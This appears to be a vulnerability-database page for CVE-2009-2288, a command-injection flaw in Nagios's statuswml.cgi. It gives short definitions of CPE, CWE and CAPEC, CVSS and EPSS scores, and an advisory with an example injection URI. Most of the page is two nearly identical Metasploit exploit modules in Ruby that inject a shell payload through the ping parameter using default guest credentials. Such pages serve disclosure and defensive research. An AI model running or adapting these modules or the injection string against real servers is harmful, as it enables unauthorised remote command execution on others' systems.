CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
statuswml.cgi in Nagios before 3.1.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) ping or (2) Traceroute parameters.
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
81.54%
–
–
2022-04-17
–
–
81.54%
–
–
2023-03-12
–
–
–
97.02%
–
2023-07-09
–
–
–
96.96%
–
2023-08-20
–
–
–
96.92%
–
2024-02-11
–
–
–
96.97%
–
2024-06-02
–
–
–
96.97%
–
2024-08-25
–
–
–
97.01%
–
2024-12-22
–
–
–
96.6%
–
2025-01-12
–
–
–
96.57%
–
2025-01-19
–
–
–
96.57%
–
2025-03-18
–
–
–
–
93.3%
2025-03-18
–
–
–
–
93.3,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2009-05-21 22h00 +00:00 Author : Paul EDB Verified : Yes
source: https://www.securityfocus.com/bid/35464/info
Nagios is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.
Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application.
NOTE: For an exploit to succeed, access to the WAP interface's ping feature must be allowed.
Versions prior to Nagios 3.1.1 are vulnerable.
The following example URI is available:
https://www.example.com/nagios/cgi-bin/statuswml.cgi?ping=173.45.235.65%3Becho+%24PATH
##
# $Id: nagios3_statuswml_ping.rb 9829 2010-07-14 18:23:47Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios3 statuswml.cgi Ping Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
Nagios3 statuswml.cgi script. This flaw is triggered when shell
metacharacters are present in the parameters to the ping and
traceroute commands.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9829 $',
'References' =>
[
[ 'CVE', '2009-2288' ],
[ 'OSVDB', '55281'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => '<>',
'Compat' =>
{
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 22 2009'))
register_options(
[
OptString.new('URI', [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
OptString.new('USER', [true, "The username to authenticate with", "guest"]),
OptString.new('PASS', [true, "The password to authenticate with", "guest"]),
], self.class)
end
def exploit
print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'],
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
'vars_post' =>
{
'ping' => ';' + payload.encoded + '&'
}
}, 10)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
if(res.code == 401)
print_error("Please specify correct values for USER and PASS")
return
end
if(res.code == 404)
print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
return
end
if(res.body =~ /Invalid host name/)
print_error("This server has already been patched")
return
end
if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
print_status("Displaying command response")
out = $1
print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
return
end
print_status("Unknown response")
end
end
Publication date : 2009-10-29 23h00 +00:00 Author : H D Moore EDB Verified : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios3 statuswml.cgi Ping Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
Nagios3 statuswml.cgi script. This flaw is triggered when shell
metacharacters are present in the parameters to the ping and
traceroute commands.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-2288' ],
[ 'OSVDB', '55281'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => '<>',
'Compat' =>
{
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
OptString.new('USER', [true, "The username to authenticate with", "guest"]),
OptString.new('PASS', [true, "The password to authenticate with", "guest"]),
], self.class)
end
def exploit
print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'],
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
'vars_post' =>
{
'ping' => ';' + payload.encoded + '&'
}
}, 10)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
if(res.code == 401)
print_error("Please specify correct values for USER and PASS")
return
end
if(res.code == 404)
print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
return
end
if(res.body =~ /Invalid host name/)
print_error("This server has already been patched")
return
end
if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
print_status("Displaying command response")
out = $1
print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
return
end
print_status("Unknown response, displaying raw HTML")
print_line(res.body)
end
end